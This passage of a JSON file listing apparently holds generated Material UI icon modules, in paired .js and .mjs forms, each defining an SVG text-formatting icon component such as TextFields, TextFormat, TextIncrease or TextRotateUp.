    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.61 19c.48 0 .91-.3 1.06-.75l1.01-2.83h5.65l.99 2.82c.16.46.59.76 1.07.76.79 0 1.33-.79 1.05-1.52L9.19 6.17C8.93 5.47 8.25 5 7.5 5s-1.43.47-1.69 1.17L1.56 17.48c-.28.73.27 1.52 1.05 1.52M7.44 7.6h.12l2.03 5.79H5.41zM15 12c0-.55.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1h-6c-.55 0-1-.45-1-1\"\n}), 'TextDecreaseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecreaseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.61 19c.48 0 .91-.3 1.06-.75l1.01-2.83h5.65l.99 2.82c.16.46.59.76 1.07.76.79 0 1.33-.79 1.05-1.52L9.19 6.17C8.93 5.47 8.25 5 7.5 5s-1.43.47-1.69 1.17L1.56 17.48c-.28.73.27 1.52 1.05 1.52M7.44 7.6h.12l2.03 5.79H5.41zM15 12c0-.55.45-1 1-1h6c.55 0 1 .45 1 1s-.45 1-1 1h-6c-.55 0-1-.45-1-1\"\n}), 'TextDecreaseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecreaseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM23 11v2h-8v-2z\"\n}), 'TextDecreaseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecreaseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM23 11v2h-8v-2z\"\n}), 'TextDecreaseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecreaseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM23 11v2h-8v-2z\"\n}), 'TextDecreaseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextDecreaseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM23 11v2h-8v-2z\"\n}), 'TextDecreaseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFields.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 4v3h5v12h3V7h5V4zm19 5h-9v3h3v7h3v-7h3z\"\n}), 'TextFields');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFields.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 4v3h5v12h3V7h5V4zm19 5h-9v3h3v7h3v-7h3z\"\n}), 'TextFields');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFieldsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 4v3h5v12h3V7h5V4zm19 5h-9v3h3v7h3v-7h3z\"\n}), 'TextFieldsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFieldsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 4v3h5v12h3V7h5V4zm19 5h-9v3h3v7h3v-7h3z\"\n}), 'TextFieldsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFieldsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 5.5C2.5 6.33 3.17 7 4 7h3.5v10.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V7H14c.83 0 1.5-.67 1.5-1.5S14.83 4 14 4H4c-.83 0-1.5.67-1.5 1.5M20 9h-6c-.83 0-1.5.67-1.5 1.5S13.17 12 14 12h1.5v5.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V12H20c.83 0 1.5-.67 1.5-1.5S20.83 9 20 9\"\n}), 'TextFieldsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFieldsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 5.5C2.5 6.33 3.17 7 4 7h3.5v10.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V7H14c.83 0 1.5-.67 1.5-1.5S14.83 4 14 4H4c-.83 0-1.5.67-1.5 1.5M20 9h-6c-.83 0-1.5.67-1.5 1.5S13.17 12 14 12h1.5v5.5c0 .83.67 1.5 1.5 1.5s1.5-.67 1.5-1.5V12H20c.83 0 1.5-.67 1.5-1.5S20.83 9 20 9\"\n}), 'TextFieldsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFieldsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.5 4v3h5v12h3V7h5V4zm19 5h-9v3h3v7h3v-7h3z\"\n}), 'TextFieldsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFieldsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.5 4v3h5v12h3V7h5V4zm19 5h-9v3h3v7h3v-7h3z\"\n}), 'TextFieldsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFieldsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 12h3v7h3v-7h3V9h-9zm3-8h-13v3h5v12h3V7h5z\"\n}), 'TextFieldsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFieldsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 12h3v7h3v-7h3V9h-9zm3-8h-13v3h5v12h3V7h5z\"\n}), 'TextFieldsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormat.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17v2h14v-2zm4.5-4.2h5l.9 2.2h2.1L12.75 4h-1.5L6.5 15h2.1zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormat');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormat.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17v2h14v-2zm4.5-4.2h5l.9 2.2h2.1L12.75 4h-1.5L6.5 15h2.1zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormat');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormatOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17v2h14v-2zm4.5-4.2h5l.9 2.2h2.1L12.75 4h-1.5L6.5 15h2.1zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormatOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17v2h14v-2zm4.5-4.2h5l.9 2.2h2.1L12.75 4h-1.5L6.5 15h2.1zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormatOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormatRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 18c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1m4.5-5.2h5l.66 1.6c.15.36.5.6.89.6.69 0 1.15-.71.88-1.34l-3.88-8.97C12.87 4.27 12.46 4 12 4s-.87.27-1.05.69l-3.88 8.97c-.27.63.2 1.34.89 1.34.39 0 .74-.24.89-.6zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormatRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 18c0 .55.45 1 1 1h12c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1m4.5-5.2h5l.66 1.6c.15.36.5.6.89.6.69 0 1.15-.71.88-1.34l-3.88-8.97C12.87 4.27 12.46 4 12 4s-.87.27-1.05.69l-3.88 8.97c-.27.63.2 1.34.89 1.34.39 0 .74-.24.89-.6zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormatRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormatSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17v2h14v-2zm4.5-4.2h5l.9 2.2h2.1L12.75 4h-1.5L6.5 15h2.1zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormatSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17v2h14v-2zm4.5-4.2h5l.9 2.2h2.1L12.75 4h-1.5L6.5 15h2.1zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormatSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormatTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 17v2h14v-2zm4.5-4.2h5l.9 2.2h2.1L12.75 4h-1.5L6.5 15h2.1zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextFormatTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 17v2h14v-2zm4.5-4.2h5l.9 2.2h2.1L12.75 4h-1.5L6.5 15h2.1zM12 5.98 13.87 11h-3.74z\"\n}), 'TextFormatTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncrease.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM20 11h3v2h-3v3h-2v-3h-3v-2h3V8h2z\"\n}), 'TextIncrease');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncrease.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM20 11h3v2h-3v3h-2v-3h-3v-2h3V8h2z\"\n}), 'TextIncrease');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncreaseOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM20 11h3v2h-3v3h-2v-3h-3v-2h3V8h2z\"\n}), 'TextIncreaseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncreaseOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM20 11h3v2h-3v3h-2v-3h-3v-2h3V8h2z\"\n}), 'TextIncreaseOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncreaseRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2.61 19c.48 0 .91-.3 1.06-.75l1.01-2.83h5.65l.99 2.82c.16.46.59.76 1.07.76.79 0 1.33-.79 1.05-1.52L9.19 6.17C8.93 5.47 8.25 5 7.5 5s-1.43.47-1.69 1.17L1.56 17.48c-.28.73.27 1.52 1.05 1.52M7.44 7.6h.12l2.03 5.79H5.41zM15 12c0-.55.45-1 1-1h2V9c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2h-2c-.55 0-1-.45-1-1\"\n}), 'TextIncreaseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncreaseRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2.61 19c.48 0 .91-.3 1.06-.75l1.01-2.83h5.65l.99 2.82c.16.46.59.76 1.07.76.79 0 1.33-.79 1.05-1.52L9.19 6.17C8.93 5.47 8.25 5 7.5 5s-1.43.47-1.69 1.17L1.56 17.48c-.28.73.27 1.52 1.05 1.52M7.44 7.6h.12l2.03 5.79H5.41zM15 12c0-.55.45-1 1-1h2V9c0-.55.45-1 1-1s1 .45 1 1v2h2c.55 0 1 .45 1 1s-.45 1-1 1h-2v2c0 .55-.45 1-1 1s-1-.45-1-1v-2h-2c-.55 0-1-.45-1-1\"\n}), 'TextIncreaseRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncreaseSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM20 11h3v2h-3v3h-2v-3h-3v-2h3V8h2z\"\n}), 'TextIncreaseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncreaseSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M.99 19h2.42l1.27-3.58h5.65L11.59 19h2.42L8.75 5h-2.5zm4.42-5.61L7.44 7.6h.12l2.03 5.79zM20 11h3v2h-3v3h-2v-3h-3v-2h3V8h2z\"\n}), 'TextIncreaseSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncreaseTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M1.99 19h2.42l1.27-3.58h5.65L12.59 19h2.42L9.75 5h-2.5zm4.42-5.61L8.44 7.6h.12l2.03 5.79zM20 11h3v2h-3v3h-2v-3h-3v-2h3V8h2z\"\n}), 'TextIncreaseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextIncreaseTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M1.99 19h2.42l1.27-3.58h5.65L12.59 19h2.42L9.75 5h-2.5zm4.42-5.61L8.44 7.6h.12l2.03 5.79zM20 11h3v2h-3v3h-2v-3h-3v-2h3V8h2z\"\n}), 'TextIncreaseTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 12v1.5l11 4.75v-2.1l-2.2-.9v-5l2.2-.9v-2.1zm7 2.62-5.02-1.87L10 10.88zm8-10.37-3 3h2v12.5h2V7.25h2z\"\n}), 'TextRotateUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 12v1.5l11 4.75v-2.1l-2.2-.9v-5l2.2-.9v-2.1zm7 2.62-5.02-1.87L10 10.88zm8-10.37-3 3h2v12.5h2V7.25h2z\"\n}), 'TextRotateUp');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m18 4-3 3h2v13h2V7h2zm-6.2 11.5v-5l2.2-.9V7.5L3 12.25v1.5l11 4.75v-2.1zM4.98 13 10 11.13v3.74z\"\n}), 'TextRotateUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m18 4-3 3h2v13h2V7h2zm-6.2 11.5v-5l2.2-.9V7.5L3 12.25v1.5l11 4.75v-2.1zM4.98 13 10 11.13v3.74z\"\n}), 'TextRotateUpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.35 4.35c-.2-.2-.51-.2-.71 0l-1.79 1.79c-.31.32-.09.86.36.86H17v12c0 .55.45 1 1 1s1-.45 1-1V7h.79c.45 0 .67-.54.35-.85zM11.8 15.5v-5l1.6-.66c.36-.14.6-.49.6-.88 0-.69-.71-1.15-1.34-.88l-8.97 3.88c-.42.17-.69.58-.69 1.04s.27.87.69 1.05l8.97 3.88c.63.27 1.34-.2 1.34-.89 0-.39-.24-.74-.6-.89zM4.98 13 10 11.13v3.74z\"\n}), 'TextRotateUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.35 4.35c-.2-.2-.51-.2-.71 0l-1.79 1.79c-.31.32-.09.86.36.86H17v12c0 .55.45 1 1 1s1-.45 1-1V7h.79c.45 0 .67-.54.35-.85zM11.8 15.5v-5l1.6-.66c.36-.14.6-.49.6-.88 0-.69-.71-1.15-1.34-.88l-8.97 3.88c-.42.17-.69.58-.69 1.04s.27.87.69 1.05l8.97 3.88c.63.27 1.34-.2 1.34-.89 0-.39-.24-.74-.6-.89zM4.98 13 10 11.13v3.74z\"\n}), 'TextRotateUpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/TextRotateUpSharp.js",
